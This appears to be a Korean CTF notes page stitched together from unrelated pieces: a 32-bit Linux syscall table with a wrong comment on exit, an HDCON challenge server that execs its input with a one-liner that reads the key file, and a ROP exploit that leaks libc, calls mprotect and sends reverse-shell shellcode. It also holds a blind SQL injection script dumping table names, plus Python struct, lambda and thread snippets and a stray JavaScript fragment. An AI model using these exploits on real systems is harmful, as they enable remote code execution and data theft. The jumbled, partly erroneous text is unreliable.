[64비트에서는 이놈들이 어디 있는겨? -_-... 복사 해놨다가. 그때그때 찾아써야겠다..]

/usr/linux/asm/unistd.h  32bit unistd.h System call Number 

#define __NR_exit 1    - move extended read/write file pointer

#define __NR_fork 2   - create a new process

#define __NR_read 3  - read from file

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

#define __NR_alarm 27

#define __NR_oldfstat 28

#define __NR_pause 29

#define __NR_utime 30

#define __NR_stty 31

#define __NR_gtty 32

#define __NR_access 33

#define __NR_nice 34

#define __NR_ftime 35

#define __NR_sync 36

#define __NR_kill 37

#define __NR_rename 38

#define __NR_mkdir 39

#define __NR_rmdir 40

#define __NR_dup 41

#define __NR_pipe 42

#define __NR_times 43

#define __NR_prof 44

#define __NR_brk 45

#define __NR_setgid 46

#define __NR_getgid 47

#define __NR_signal 48

#define __NR_geteuid 49

#define __NR_getegid 50

#define __NR_acct 51

#define __NR_umount2 52

#define __NR_lock 53

#define __NR_ioctl 54

#define __NR_fcntl 55

#define __NR_mpx 56

#define __NR_setpgid 57

#define __NR_ulimit 58

#define __NR_oldolduname 59

#define __NR_umask 60

#define __NR_chroot 61

#define __NR_ustat 62

#define __NR_dup2 63

#define __NR_getppid 64

#define __NR_getpgrp 65

#define __NR_setsid 66

#define __NR_sigaction 67

#define __NR_sgetmask 68

#define __NR_ssetmask 69

#define __NR_setreuid 70

#define __NR_setregid 71

#define __NR_sigsuspend 72

#define __NR_sigpending 73

#define __NR_sethostname 74

#define __NR_setrlimit 75

#define __NR_getrlimit 76

#define __NR_getrusage 77

#define __NR_gettimeofday 78

#define __NR_settimeofday 79

#define __NR_getgroups 80

#define __NR_setgroups 81

#define __NR_select 82

#define __NR_symlink 83

#define __NR_oldlstat 84

#define __NR_readlink 85

#define __NR_uselib 86

#define __NR_swapon 87

#define __NR_reboot 88

#define __NR_readdir 89

#define __NR_mmap 90

#define __NR_munmap 91

#define __NR_truncate 92

#define __NR_ftruncate 93

#define __NR_fchmod 94

#define __NR_fchown 95

#define __NR_getpriority 96

#define __NR_setpriority 97

#define __NR_profil 98

#define __NR_statfs 99

#define __NR_fstatfs 100

#define __NR_ioperm 101

#define __NR_socketcall 102

#define __NR_syslog 103

#define __NR_setitimer 104

#define __NR_getitimer 105

#define __NR_stat 106

#define __NR_lstat 107

#define __NR_fstat 108

#define __NR_olduname 109

#define __NR_iopl 110

#define __NR_vhangup 111

#define __NR_idle 112

#define __NR_vm86old 113

#define __NR_wait4 114

#define __NR_swapoff 115

#define __NR_sysinfo 116

#define __NR_ipc 117

#define __NR_fsync 118

#define __NR_sigreturn 119

#define __NR_clone 120

#define __NR_setdomainname 121

#define __NR_uname 122

#define __NR_modify_ldt 123

#define __NR_adjtimex 124

#define __NR_mprotect 125

#define __NR_sigprocmask 126

#define __NR_create_module 127

#define __NR_init_module 128

#define __NR_delete_module 129

#define __NR_get_kernel_syms 130

#define __NR_quotactl 131

#define __NR_getpgid 132

#define __NR_fchdir 133

#define __NR_bdflush 134

#define __NR_sysfs 135

#define __NR_personality 136

#define __NR_afs_syscall 137 /* Syscall for Andrew File System */

#define __NR_setfsuid 138

#define __NR_setfsgid 139

#define __NR__llseek 140

#define __NR_getdents 141

#define __NR__newselect 142

#define __NR_flock 143

#define __NR_msync 144

#define __NR_readv 145

#define __NR_writev 146

#define __NR_getsid 147

#define __NR_fdatasync 148

#define __NR__sysctl 149

#define __NR_mlock 150

#define __NR_munlock 151

#define __NR_mlockall 152

#define __NR_munlockall 153

#define __NR_sched_setparam 154

#define __NR_sched_getparam 155

#define __NR_sched_setscheduler 156

#define __NR_sched_getscheduler 157

#define __NR_sched_yield 158

#define __NR_sched_get_priority_max 159

#define __NR_sched_get_priority_min 160

#define __NR_sched_rr_get_interval 161

#define __NR_nanosleep 162

#define __NR_mremap 163

#define __NR_setresuid 164

#define __NR_getresuid 165

#define __NR_vm86 166

#define __NR_query_module 167

#define __NR_poll 168

#define __NR_nfsservctl 169

#define __NR_setresgid 170

#define __NR_getresgid 171

#define __NR_prctl 172

#define __NR_rt_sigreturn 173

#define __NR_rt_sigaction 174

#define __NR_rt_sigprocmask 175

#define __NR_rt_sigpending 176

#define __NR_rt_sigtimedwait 177

#define __NR_rt_sigqueueinfo 178

#define __NR_rt_sigsuspend 179

#define __NR_pread 180

#define __NR_pwrite 181

#define __NR_chown 182

#define __NR_getcwd 183

#define __NR_capget 184

#define __NR_capset 185

#define __NR_sigaltstack 186

#define __NR_sendfile 187

#define __NR_getpmsg 188 /* some people actually want streams */

#define __NR_putpmsg 189 /* some people actually want streams */

#define __NR_vfork 190

#define __NR_ugetrlimit 191 /* SuS compliant getrlimit */

#define __NR_mmap2 192

#define __NR_truncate64 193

#define __NR_ftruncate64 194

#define __NR_stat64 195

#define __NR_lstat64 196

#define __NR_fstat64 197

#define __NR_lchown32 198

#define __NR_getuid32 199

#define __NR_getgid32 200

#define __NR_geteuid32 201

#define __NR_getegid32 202

#define __NR_setreuid32 203

#define __NR_setregid32 204

#define __NR_getgroups32 205

#define __NR_setgroups32 206

#define __NR_fchown32 207

#define __NR_setresuid32 208

#define __NR_getresuid32 209

#define __NR_setresgid32 210

#define __NR_getresgid32 211

#define __NR_chown32 212

#define __NR_setuid32 213

#define __NR_setgid32 214

#define __NR_setfsuid32 215

#define __NR_setfsgid32 216

#define __NR_pivot_root 217

#define __NR_mincore 218

#define __NR_madvise 219

#define __NR_madvise1 219 /* delete when C lib stub is removed */

#define __NR_getdents64 220

#define __NR_fcntl64 221

#define __NR_security 223 /* syscall for security modules */

#define __NR_gettid 224

#define __NR_readahead 225

#define __NR_setxattr 226

#define __NR_lsetxattr 227

#define __NR_fsetxattr 228

#define __NR_getxattr 229

#define __NR_lgetxattr 230

#define __NR_fgetxattr 231

#define __NR_listxattr 232

#define __NR_llistxattr 233

#define __NR_flistxattr 234

#define __NR_removexattr 235

#define __NR_lremovexattr 236

#define __NR_fremovexattr 237

#define __NR_tkill 238

#define __NR_sendfile64 239

#define __NR_futex 240

#define __NR_sched_setaffinity 241

#define __NR_sched_getaffinity 242

#define __NR_set_thread_area 243

#define __NR_get_thread_area 244

/* #define __NR_io_setup 245 */

/* #define __NR_io_destroy 246 */

/* #define __NR_io_getevents 247 */

/* #define __NR_io_submit 248 */

/* #define __NR_io_cancel 249 */

/* #define __NR_alloc_hugepages 250 */

/* #define __NR_free_hugepages 251 */

#define __NR_exit_group 252

/* #define __NR_lookup_dcookie 253 */

/* #define __NR_sys_epoll_create 254 */

/* #define __NR_sys_epoll_ctl 255 */

/* #define __NR_sys_epoll_wait 256 */

/* #define __NR_remap_file_pages 257 */

#define __NR_set_tid_address 258

문제코드는 아래와 같다 약간의 난독화가 되어 있었는데, 같은 문자열을 치환시켜서 

대충 맞추면 소켓서버가 완성되었다. 파이썬 코드가 워낙 직관적이기에 쉽게 진행 할 수 있었다.

#!/usr/bin/python

import socket

import os

import subprocess

import SocketServer

import sys

def MSG_CHECK ( msg ) :

if "N3Sk" in msg [ 50 : ] :

return "NESK"

else :

return "PESK"

def OPEN_READ_CHECK ( msg ) :

if "open" in msg or "read" in msg :    // msg 에 read 나 open 이 있으면 false  두개가 없으면 NESK

return "false"

else :

return "NESK"  

def CHECK_50_N3Sk ( sock ) :

sock . send ( "UNEXPLOITABLE!\n" )   

class EchoHandler ( SocketServer . BaseRequestHandler ) :

def handle ( self ) :

MESSAGE = self . request . recv ( 200 ) . strip ( )    // 띄어쓰기없이 200바이트를 받아들임

try :

if len ( MESSAGE ) > 5 :

RECV_RESULT = MSG_CHECK ( MESSAGE )  

//  문자열이 5글자 이상이면 MSG_CHECK를 함  50번째 이후에 N3Sk가 있어야 NESK를 리턴 

if RECV_RESULT == "NESK" :  // msg 50번째 이후에 N3Sk가 있으면 참 값..

try :

if OPEN_READ_CHECK ( MESSAGE ) == "NESK" :   

                                                                               // OEPN_READ 함수의 값이 NESK 이면(즉 open read가 없으면)

       //이부분에서 open 이나 read 함수를 쓸수 없다는 것을 말함.

exec MESSAGE //MSG를 실행함.

except :

return

else :

CHECK_50_N3Sk ( self . request )

except KeyError , IIII :

pass

if __name__ == "__main__" :

SOCK_SERVER = SocketServer . TCPServer ( ( "localhost" , 7997 ) , EchoHandler )

SOCK_SERVER . serve_forever ( )

root@k1rha:/HACK/HDCON# 

python -c 'print "import os;os.system(\"cat key >&4 \");"+"A"*50+"N3Sk=0"' | nc 127.0.0.1 7997

Get key succcess 

root@k1rha:/HACK/HDCON# 

<script language="javascript">

function commify(n) {

  var reg = /(^[+-]?\d+)(\d{3})/;   // 정규식

  n += '';                          // 숫자를 문자열로 변환

  while (reg.test(n))

    n = n.replace(reg, '$1' + ',' + '$2');

  return n;

}

공격 페이로드는 아래와 같다.

STAGE1 = SEND + PPPR + SOCKFD + GOT_TIME + VALUE_0x4 + NULL + \

              FUNC + AAAA + SOCKFD

STAGE2 = MPROTECT + PPPR + CUSTOM_STACK + SIZEOF_CUSTOM + MODE_EXEC +\

               RECV + RETURN_CUSTOM + SOCKFD + CUSTOM_STACK + SHELLCODELEN + NULL

STAGE3 = SELLCODE

from socket import *

import sys

import struct

SHELLCODE ="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x22\xb8\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\x31\xdb\x43\x43\x43\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

SHELLCODELEN = struct.pack('<L', len(SHELLCODE))

PLT_SEND = 0x08048610

GOT_TIME = 0x804a004

ADDR_FUNC = 0x080486d4

PPPR = struct.pack('<L', 0x804878d)

PPPPR = struct.pack('<L', 0x80489cc)

STAGE1 = '\x41' * 1036 + struct.pack('<L', PLT_SEND) + PPPPR + '\x04\x00\x00\x00' + struct.pack('<L', GOT_TIME)

STAGE1 += '\x04\x00\x00\x00' + '\x00\x00\x00\x00' +struct.pack('<L', ADDR_FUNC) + '\x41\x41\x41\x41' + '\x04\x00\x00\x00'

if __name__ == '__main__':

s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 7777))

s.recv(1024)

s.send(STAGE1)

ADDR_TIME = struct.unpack('<L', s.recv(4))[0]

ADDR_MPROTECT = ADDR_TIME + 0x41B70

ADDR_RECV = ADDR_TIME + 0x48080

STAGE2 = '\x41' * 1036 + struct.pack('<L',ADDR_MPROTECT ) + PPPR + '\x00\x80\x04\x08' + '\x00\x10\x00\x00'

STAGE2 += '\x07\x00\x00\x00' + struct.pack('<L', ADDR_RECV) + '\x91\x87\x04\x08' + '\x04\x00\x00\x00'

STAGE2 += '\x91\x87\x04\x08' + SHELLCODELEN + '\x00\x00\x00\x00'

s.recv(1024)

s.send(STAGE2)

s.send(SHELLCODE)

s.close()

#python

from socket import *

import sys

import struct

IP = "127.0.0.1"

PORT = 80

STD_STR = "1 a"

def MakePacket(UNIT,NUM,RAW=0):

HEADER = "GET /mysql_test.php?id=1%26%26hex(mid((select%0atable_name%0afrom%0ainformation_schema.tables%0alimit%0a1,1),"+str(UNIT)+",1))="

FOOTER = " HTTP/1.0\r\n\r\n"

SEND_PACKET =  HEADER + str(NUM) + FOOTER

return SEND_PACKET

def SendPacket(UNIT, NUM):

sock  = socket(AF_INET,SOCK_STREAM)

sock.connect((IP,PORT))

_sendData = MakePacket(UNIT,NUM)

sock.send(_sendData)

data=sock.recv(10240)

return data 

def main():

RESULT=''

for i in range (1,20):

for j in range (30,128):

RES = SendPacket(i,j)

if RES.find(STD_STR) > 0 :

RESULT = RESULT + str(j)

print RESULT.decode("hex")

if __name__== "__main__" :

main()

Lambda 표현식은 C언어의 메크로 함수와 비슷한 역할을 하는 것 같다.

g = lambda x,y : x*y

>> g(2,3)

6

>> g(3,4)

12

>>

p = lambda x : pack("<L" , x)

"  <  "  : little endian

"  >  "  : big endian

L : Unsigned Long 형태  (32bit 에서 자주쓰임)

Q : Unsinged Long Long 형태 (64bit에서 자주 쓰임)

p(0x08040552) 하면 little endian 으로 Long 형태로 변환되어 packing 된다.

Format        C Type         Python        

x         pad byte            no value         

c         char                   string         

b         signed char         integer         

B         unsigned char       integer         

?         _Bool                 bool        

h         short                     integer         

H         unsigned short      integer         

i         int                     integer         

I         unsigned int            integer or long         

l         long                     integer         

L         unsigned long       long         

q         long long               long        

Q         unsigned long     long      

f         float                     float         

d         double             float         

s         char[]             string         

p         char[]             string         

P         void *             long         

Character       Byte order       Size and alignment

@         native         native

=         native         standard

<         little-endian           standard

>         big-endian               standard

!         network (= big-endian)  standard

import thread, time

def counter(id):

    for i in range(5):

        print 'id %s --> %s' % (id, i)

        time.sleep(1)

for i in range(5):

    thread.start_new_thread(counter, (i,))

time.sleep(5)

print 'Exiting'